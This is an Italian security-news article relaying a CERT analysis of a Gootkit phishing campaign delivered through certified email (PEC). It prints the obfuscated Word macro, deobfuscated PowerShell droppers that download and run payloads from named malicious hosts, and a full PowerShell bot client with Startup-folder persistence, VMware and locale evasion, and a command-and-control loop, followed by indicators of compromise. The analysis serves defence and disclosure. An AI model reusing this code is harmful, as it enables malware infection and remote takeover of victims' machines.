Martedì 02 Aprile 2019
YCERT: Analisi di Gootkit, malware all'attacco di PA e aziende

Dal CERT di Yarix, divisione Digital Security di Var Group, una dettagliata analisi tecnica della nuova versione del malware Gootkit, da alcuni giorni all'attacco di PA e aziende, che sta veicolando contenuti malevoli tramite della Posta Elettronica Certificata.

Da alcuni giorni Pubblica Amministrazione e imprese sono oggetto di un importante attacco ‘Spear Phishing’: una nuova e più subdola versione del malware Gootkit sta veicolando contenuti malevoli tramite della Posta Elettronica Certificata.

Per la prima volta dalla rilevazione dell’attacco, il CERT di Yarix, la divisione Digital Security di Var Group, presenta una dettagliata analisi tecnica del malware attualmente in circolazione, mettendo a fuoco i meccanismi attraverso i quali i cybercriminali stanno tentando di violare i sistemi delle pubbliche amministrazioni e delle aziende.


PA, istituzioni pubbliche e aziende si confermano tra i target più ambiti da coloro che utilizzano strumenti informatici per violare sistemi e accedere illegalmente a preziose banche di dati. La vulnerabilità delle infrastrutture digitali e la crescente aggressività degli attacchi informatici sono altrettanti campanelli di allarme rispetto all’importanza cruciale della cybersecurity, che deve essere un cardine della sicurezza per tutte le organizzazioni, pubbliche e private”, commenta Mirko Gatto, CEO di Yarix, Divisione Digital Security di Var Group.

Introduzione

Il malware si diffonde attraverso email di “Spear Phishing” inviata tramite PEC (Posta Elettronica Certificata). Sfruttando questo canale di comunicazione l’utente finale è indotto a dare maggiore affidabilità e credibilità al messaggio che gli viene recapitato non curandosi particolarmente della validità dello stesso. Il messaggio di posta elettronica recapitato è come quello che riportiamo di seguito:

Dal CERT di Yarix, divisione Digital Security di Var Group, una dettagliata analisi tecnica della nuova versione del malware Gootkit, da alcuni giorni all'attacco di PA e aziende, che sta veicolando contenuti malevoli per il tramite della Posta Elettronica Certificata.

Il messaggio di posta elettronica avvisa l’utente dell’avvenuto pagamento il cui bonifico è allegato al messaggio di posta elettronica. L’allegato si presenta come un documento Word che nel nostro caso risulta essere “Tribunale_di_Napoli__Procedura_esecutiva_immobiliare_xxxx”. Annidato all’interno del documento è presente del codice attivo (macro) che viene eseguito all’apertura del documento: l’utente viene avvisato che per poter accedere al documento stesso è necessario “Abilitare” il contenuto per questioni di compatibilità tra versioni di Microsoft Word. Il messaggio che l’utente si trova di fronte è il seguente:

Dal CERT di Yarix, divisione Digital Security di Var Group, una dettagliata analisi tecnica della nuova versione del malware Gootkit, da alcuni giorni all'attacco di PA e aziende, che sta veicolando contenuti malevoli per il tramite della Posta Elettronica Certificata.

Quando l’utente clicca su “Abilita contenuto”, Word esegue immediatamente il codice annidato al suo interno, che di seguito abbiamo analizzato.

 

Analisi della Macro

Come abbiamo riportato in precedenza, il documento word allegato al messaggio di posta elettronica certificata contiene del codice nascosto all’utente, ovvero una Macro. Il codice rinvenuto al suo interno, che riportiamo solo in parte, è il seguente:

 

…….

…….

iwufi dzcvt, txezey

tgciyzw = Array(154, 174, 220, 216, 235, 147, 151)

iwufi tgciyzw, txezey

ystcde = Array(231, 219, 215, 233, 218, 174, 198)

iwufi ystcde, txezey

wvtgbcz = Array(231, 212, 229, 231, 160, 195, 229)

iwufi wvtgbcz, txezey

azxejgb = Array(226, 214, 216, 230, 230, 147)

iwufi azxejgb, txezey

gxvyt = Array(151)

iwufi gxvyt, txezey

btjjeg = Array(216, 221, 216, 214, 231, 236, 174)

iwufi btjjeg, txezey

 

CreateObject("WScript.Shell").Run txezey

End Sub

Function bxtdxt(aijihff)

    bxtdxt = aijihff - 115

 

End Function

Sub iwufi(a, txezey)

  For Each x In a

    If Len(x) Then

      txezey = txezey + Chr(bxtdxt(x))

    End If

  Next

End Sub

 

Il codice sviluppato in VB6 è offuscato (testo riportato in rosso) in modo tale da non essere identificato e rilevato dai sistemi antimalware. Il codice riportato in verde recupera le informazioni offuscate costruendo dinamicamente il vero comando da eseguire, che una volta de-offuscato è il seguente:

 

powershell -WindowStyle Hidden -Command if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; };$etdtffd = [System.IO.Path]::GetTempPath();$ejecty = Join-Path $etdtffd 'AdobeAR.exe';$cwexfs='hxxp://cloud.chachobills.com/501?vxjgz';$gjaihi = Join-Path $etdtffd 'SearchI32.js';$wivwh='hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC

3.php?vid=pecdoc';$wbdffbc='(ND3RTy99ew-Object D3RTy99NeD3RTy99t.WebD3RTy99ClienD3RTy99t).DownloadFiD3RTy99le($wiD3RTy99vwhD3RTy99,

D3RTy99$gjaihiD3RTy99);' -replace 'D3RTy99','';iex $wbdffbc;Start-Process $gjaihi;$thdvg='(New-ObjBSSR9xDeBSSR9xDctBSSR9xDNBSSR9xDeBSSR9xDt.BSSR9xDWebClBSSR9xDient).BSSR9

xDDownloadBSSR9xDFBSSR9xDiBSSR9xDlBSSR9xDe($cweBSSR9xDxfs,$eBSSR9xDjecty)BSSR9

xD;' -replace 'BSSR9xD','';iex $thdvg;Start-Process $ejecty;

 

 

Semplificando il codice ed estraendo le informazioni chiave scopriamo che la macro contenuta nel documento Word esegue un comando “powershell” che analizzato e decifrato ulteriormente esegue le seguenti operazioni:

 

1) Scarica ed esegue dall’URL hxxp://cloud.chachobills.com/501?vxjgz il file AdobeAR.exe

2) Scarica ed esegue dall’URL hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc il file SearchI32.js.

 

Entrambi i file vengono scaricati nella cartella temporanea del profilo utente. Il primo file risulta essere un eseguibile mentre il secondo è un file di testo contenente codice powershell.

Gli hash dei due file sono rispettivamente:

 

  • fef4949bda7f15963c0eee51fa9c6aea
  • 5af648687c2f145242cb6ad30f1f1278

 

Analisi del file Searchl32.js

Uno dei file scaricati dal “dropper” (codice che ha scaricato i due file malevoli) è come abbiamo visto il file SearchI32.js. Il contenuto del file risulta essere nuovamente offuscato, quindi non direttamente comprensibile senza svolgere le necessarie azioni di de-offuscamento.

Riportiamo parte del codice rinvenuto sul file Search32.js:

 

shgyaccyaiuzfbyjghcasitsd.push("6");

shgyaccyaiuzfbyjghcasitsd.push("xQavu5w74xVBuv");

shgyaccyaiuzfbyjghcasitsd.push("Qh58");

shgyaccyaiuzfbyjghcasitsd.push("");

shgyaccyaiuzfbyjghcasitsd.push("xThu74y");

shgyaccyaiuzfbyjghcasitsd.push("2uzT28wRc7VTCEBi");

shgyaccyaiuzfbyjghcasitsd.push("VE23");

shgyaccyaiuzfbyjghcasitsd.push("c737wR");

shgyaccyaiuzfbyjghcasitsd.push("xWt");

shgyaccyaiuzfbyjghcasitsd.push("6QTtV");

shgyaccyaiuzfbyjghcasitsd.push("A5W4x6B9w2");

shgyaccyaiuzfbyjghcasitsd.push("hRxtCRWu5463BwjSy");

shgyaccyaiuzfbyjghcasitsd.push("V9zzEva");

shgyaccyaiuzfbyjghcasitsd.push("QVsw2WR8zg8Ry8uxh5R9QE3zzQW73C\"BtAxzt 5Dy3Va SDTW");

shgyaccyaiuzfbyjghcasitsd.push("8 y");

shgyaccyaiuzfbyjghcasitsd.push("uy4B");

var a = 12793 - 7069 - 3789 - 1928;

var b = "";

eval("zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid".replace(/(xvggyhfybgbsiewguvfid)+/gi,""));

var c = shgyaccyaiuzfbyjghcasitsd.join(jvfuxyixhbtytdavh).split("");

for( var x = 0; x < c.length; x++){

if( z == 14407 - 4837 - 4157 - 5406 ){

b += c[x];

a = 0;

a ++;

eval("zxvggyhfybgbsiewguvfid=axvggyhfybgbsiewguvfid".replace(/(xvggyhfybgbsiewguvfid)+/gi,""));

eval( b );

 

Utilizzando le opportune tecniche di de-offuscamento, è possibile estrarre scoprire il reale comportamento e le operazioni svolte del file malevolo. Analizzando il codice de-offuscato otteniamo ancora una volta codice “powershell”, che è il seguente:

 

if( (Get-UICulture).Name -match 'RU|UA|BY|CN' ){ exit;

 };

$siffhcizhbu = [System.IO.Path]::GetTempPath();

$jubgfzjjcfiahtjciezwzv = Join-Path $siffhcizhbu 'SearchI32.txt' ;

$iywau='http://green.datota.it/cryptbody2.php';

$aifewdj = Join-Path $siffhcizhbu 'SearchI32.js' ;

$zvzafasjzchzhayv='http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php';

 

$ddveay = '' ;

$eafytgzeh='(RWSVRtBNew-RWSVRtBORWSVRtBbRWSVRtBject NRWSVRtBetRWSVRtB.WRWSVRtBeRWSVRtBbCliRWSVRtBent)RWSVRtB.

DownRWSVRtBloaRWSVRtBdRWSVRtBFile($iyRWSVRtBw

RWSVRtBaRWSVRtBu,$jubgfRWSVRtBzjRWSVRtBjRWSVRtBcfRWSVRtBiaht

RWSVRtBjcieRWSVRtBzRWSVRtBwzRWSVRtBvRWSVRtB)RWSVRtB;

' -replace 'RWSVRtB' ,'';

iex $eafytgzeh;

$hcuyjuxcuhw='(New-ObAESWDRQjAESWDRQectAESWDRQ NeAESWDRQt.WeAESWDRQbCAESWDRQlieAESWDRQnt).AESWDRQDAE

SWDRQowAESWDRQnloAESWDRQadFAESWDRQile($zvzAE

SWDRQaAESWDRQfasAESWDRQjzchzhayAESWDRQvAESWDRQ,$aifewAESWDRQdj);

' -replace 'AESWDRQ' ,'';

iex $hcuyjuxcuhw;

Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace '..(.)' ,'$1'};

iex $ddveay;

 

E’ interessante notare, come mediante questa riga di codice “if( (Get-UICulture).Name -match 'RU|UA|BY|CN' ){ exit;};” il malware verifichi la lingua con cui è settata la “user interface” dell’utente, chiudendosi subito senza svolgere alcuna operazione quando la lingua rilevata è “RU, UA,BY,CN ”. Procedendo con l’analisi, scopriamo che ancora una volta che il codice scarica altro codice offuscato dai seguenti URL:

 

1) http://green.datota.it/cryptbody2.php

2) http://green.datota.it/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php

 

 Il primo scarica nella cartella temporanea dell’utente il contenuto della pagina PHP in un file di testo con nome “SearchI32.txt” il cui contenuto è anche in questo caso completamente offuscato. Dal secondo URL invece il codice malevolo scarica nuovamente il file “SearchI32.js” (lo stesso descritto in precedenza) facendo quindi un’ulteriore copia di sé stesso.

 

Analisi del file cifrato  SearchI32.txt

 A questo punto, il malware ha scaricato sul profilo utente tre file: un nuovo file completamente cifrato con nome “SearchI32.txt” avente hash MD5 44ba86769022732d6862374e49b60be7, il file eseguibile “AdobeAR.exe” e il file  “SearchI32.js”.

Per poter decifrare il nuovo file “SearchI32.txt” è stato necessario studiare nuovamente il contenuto precedentemente de-offuscato del file “SearchI32.js”. Osserviamo questa riga di codice:

Get-Content $jubgfzjjcfiahtjciezwzv | Where-Object {$_ -match $regex} | ForEach-Object { $ddveay += $_ -replace '..(.)' ,'$1'};

Sintetizzando, è evidente come il malware decifra il contenuto della variabile $jubgfzjjcfiahtjciezwzv mettendone il risultato nella variabile $ddveay. Sappiamo che la variabile $jubgfzjjcfiahtjciezwzvcontiene il testo cifrato del file “SearchI32.txt” quindi, stampando la variabile $ddveay otteniamo il i codice de-offuscato:

 

if( (Get-UICulture).Name -match 'RU|UA|BY|CN' -or (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model -match 'VMware' ){ exit; } 

Function CreateShortcut( $lnk, $Arguments, $WorkingDirectory ){

  try{

    $Shell = New-Object -ComObject ('WScript.Shell');

    $ShortCut = $Shell.CreateShortcut( $lnk );

    $ShortCut.Arguments= $Arguments;

    $ShortCut.TargetPath = 'cscript.exe';

    $ShortCut.WorkingDirectory = $WorkingDirectory;

    $ShortCut.WindowStyle = 1;

    $ShortCut.Description = 'Windows Indexing Service';

    $ShortCut.Save();

    Return 'CreateShortcut -> ok';

  }catch{

    Return 'CreateShortcut -> fail';

  }

}

Function CreateID {

  $a = '';

  try{

    $a = (Get-WmiObject -class Win32_ComputerSystem -Property Name).Name.trim() + '_';

  }catch{

    $a = 'OMG_';

  }

  try{

    $a += (Get-WmiObject -class Win32_ComputerSystem -Property Model).Model.trim() + '_';

  }catch{

    $a += 'OMG_';

  }

  try{

    foreach ($disk in (gwmi win32_diskdrive)) {

       $a += [convert]::tostring($disk.signature, 16);

    }

  }catch{

    $a += '0000000';

  }

  Return $a;

}

 

$ver = "328.1";

$url_adm = 'http://green.datota.it/';

$bot_id = CreateID;

try{

  $bot_os = [string]$PSVersionTable.BuildVersion;

}catch{ 

  $bot_os = "undefined";

}

$timeout = 210;

$logs = @([string]( $(get-date) ));

$psver = ( (Get-Host).Version ).Major;

$my_dir = [System.IO.Path]::GetTempPath();

$ldr = 'SearchI32';

$stop_id  = Join-Path $my_dir '1';

$exe_file = Join-Path $my_dir 'SearchI32.exe';

$ldr_file = Join-Path $my_dir 'SearchI32.txt';

$JS_file  = Join-Path $my_dir 'SearchI32.js';

$runfile  = Join-Path $my_dir 'SearchI32.tmp';

$lnk = [Environment]::GetFolderPath('Startup') + '\Windows Indexing Service '+$ldr+'.lnk';

 

if( test-path -path $runfile ){

 if ( ($(Get-Date) - $(Get-Item -path $runfile).LastWriteTime).TotalSeconds -lt ($timeout * 3) ){

    Start-Sleep -Seconds (3 * $timeout + 10 );

    Start-Process $JS_file;

    exit;

  }

}

 

if( ![System.IO.File]::Exists( $lnk ) ){

  $logs += CreateShortcut $lnk $JS_file $my_dir;

}else{

  $logs += $lnk;

}

 

 

$req = New-Object System.Net.WebClient;

$req.Credentials = [System.Net.CredentialCache]::DefaultCredentials;

$req.QueryString.Add('b', $bot_id );

$req.QueryString.Add('os', $bot_os );

$req.QueryString.Add('v', $ver );

$req.QueryString.Add('psver', $psver );

 

if( test-path -path $stop_id ){

  rename-item -path $stop_id  'test';

}

$count = 0;

while ($count -le 1) {

  Get-Date | out-file $runfile;

  if ( test-path -path $stop_id ){

    $count = 2;

    exit;

  }else{

    try{

      $action = $req.DownloadString( $url_adm ).Split('|');

    }catch{

      $action = 'w|'.Split('|');

    }

    switch ( $action[0] ) {

      'm1' {

          try{

             iex -Command $req.DownloadString( $action[1] );

          }catch{}

        break;

      }

      'm' {

          try{

            $req.DownloadString( $action[1] ).Split('|') | foreach { iex -Command $req.DownloadString( $_); };

          }catch{}

        break;

      }

      'u' {

          try{

            try{ Remove-Item -Path $runfile; }catch{}

            $req.DownloadFile($action[1], $ldr_file );

            $req.DownloadFile($action[2], $JS_file );

            $count = 2;

            Start-Sleep -Seconds $timeout;

            Start-Process $JS_file;

            exit;

          }catch{

            Start-Sleep -Seconds $timeout;

          }

        break;

      }

      default{ 

        Start-Sleep -Seconds $timeout;

      break; 

      }

    }

  }

}

 

Analizziamo ora alcuni aspetti interessanti del codice appena decriptato.

La prima riga, esegue lo stesso controllo sulla lingua settata dall’utente precedentemente descritto oltre a verificare se il sistema in cui viene eseguito risulta essere un ambiente virtuale Vmware. È questo un controllo per cercare di evadere sistemi di sicurezza basati su sandbox.

Proseguendo con l’analisi del codice, scopriamo altri aspetti interessanti.  Prima di tutto il malware impone la propria persistenza sul sistema compromesso, in modo tale da poter essere eseguito ad ogni riavvio del computer. Viene infatti creato un nuovo collegamento nel menu di avvio automatico dell’utente creando il link file “Windows Indexing Service SearchI32.lnk”, come riportato di seguito:

C:\Users\USER\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Indexing Service SearchI32.lnk.

L’aspetto più interessante tuttavia riguarda la natura del codice rinvenuto successivamente. Come dimostreremo di seguito, il codice appena decifrato risulta essere un “client Bot”, ovvero un malware che dialoga con un sistema centralizzato (detto anche Command and Controll) con l’obiettivo di eseguire comandi inviati da chi lo governa sul computer compromesso. Di seguito dimostreremo quanto appena affermato.

 

Analisi del client Botnet

Una volta che viene eseguito, il codice Powershell contenuto nel file cifrato  “SearchI32.txt” si mette in contatto con il suo centro di comando  e controllo “hxxp://green.datota.it” attendendo comandi da eseguire. Vediamo ora il codice relativo di cui abbiamo rimosso per questioni di sicurezza parte dello stesso:

$count = 0;

while ($count -le 1) {

  Get-Date | out-file $runfile;

  if ( test-path -path $stop_id ){

    $count = 2;

    exit;

  }else{

    try{

      $action = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

    }catch{

      $action = 'w|'.Split('|');

    }

    switch ( $action[0] ) {

      'm1' {

          try{

             xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

          }catch{}

        break;

      }

      'm' {

          try{

            $rxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

          }catch{}

        break;

      }

      'u' {

          try{

            try{ Remove-Item -Path $runfile; }catch{}

            $req.DownloadFile($action[1], $ldr_file );

            $req.DownloadFile($action[2], $JS_file );

            $count = 2;

            Start-Sleep -Seconds $timeout;

            Start-Process $JS_file;

            exit;

          }catch{

            Start-Sleep -Seconds $timeout;

          }

        break;

      }

      default{ 

        Start-Sleep -Seconds $timeout;

      break; 

      }

    }

  }

}

 

Il codice esegue una chiamata GET al portale web “hxxp://green.datota.it”, passando al server di controllo i parametri del sistema infetto. Questo viene fatto per poter identificare univocamente il sistema compromesso e stabilirne la versione dell’impianto malware. La chiamata GET svolta è simile alla seguente:

hxxp://green.datota.it/?b=win1212&os=6.3.9600.16394&v=328.1&psver=4

La variabile “b” contiene il nome del sistema, la variabile “os” indica la versione del sistema operativo, “v” la versione della release del malware e “psver” la versione di Powershell installata sul sistema.

La chiamata GET restituisce una stringa che coincide con i comandi inviati dall’attaccante per essere eseguiti sul computer compromesso. Il comando ottenuto è simile a questo:

u   hxxp://cdn.diminishedvaluevehicle.com/cryptbody2.php hxxp://cdn.diminishedvaluevehicle.com/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php

Sintetizzando e schematizzando il valore restituito, possiamo rappresentarlo in questo modo:

  • $Action $CryptoFile $FileJs

dove $Action corrisponde al comando che il client Bot deve eseguire, $CryptoFile corrisponde al percorso dove scaricare il codice cifrato (quindi nuovo codice da eseguire) che diventerà il nuovo file “SearchI32.txt” mentre $FileJs corrisponde al nuovo percorso dove scaricare il file “SearchI32.js”

Analizzando il codice infatti possiamo capire che il Client Bot, che corrisponde al file cifrato “Searchl32.txt” verifica i valori ottenuti dalla chiamata GET comportandosi di conseguenza in base a quanto ottenuto. L’attaccante infatti utilizza la variabile che noi abbiamo identificato come $Action per stabilire le azioni da compiere:

  • $Action=’m1’ → L’attaccante esegue comandi da remoto passandoli tramite contenuto cifrato
  • $Action=’m’ → L’attaccante esegue comandi Powershell
  • $Action=’u’ → L’attaccante rimuove il malware scaricando una nuova versione dello stesso

È evidente quindi come l’attaccante abbia pieno controllo del sistema. Avendo la possibilità di eseguire qualsiasi azione sul sistema compromesso, ha la possibilità di installare nuovo codice, scaricare altro malware, ottenere informazioni di qualsiasi tipo, come ad esempio password, documenti, foto, prendere controllo della webcam o del microfono del sistema, e molto altro.

 

Indicatori di compromissione

 

  • 5af648687c2f145242cb6ad30f1f1278
  • 8ea2c3e39506ea374099745eb815fcef
  • fef4949bda7f15963c0eee51fa9c6aea
  • hxxp://cloud.chachobills.com/501?vxjgz
  • hxxp://ami.regroups.net/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=pecdoc
  • hxxp://green.datota.it/
  • hxx://green.cibariefoodconsulting.com/fodhelper/r_45ab8bcf7338a7791929.php
  • hxxp://ws.youngstonelabs.co.in/501
  • 03a83fdeb4071c284bf3b2d6173e71fd

Timeline della compromissione

Rappresentiamo ora schematicamente i metodi e i passaggi utilizzati dall’attaccante per prendere controllo del sistema.

Dal CERT di Yarix, divisione Digital Security di Var Group, una dettagliata analisi tecnica della nuova versione del malware Gootkit, da alcuni giorni all'attacco di PA e aziende, che sta veicolando contenuti malevoli per il tramite della Posta Elettronica Certificata.

Vedi anche: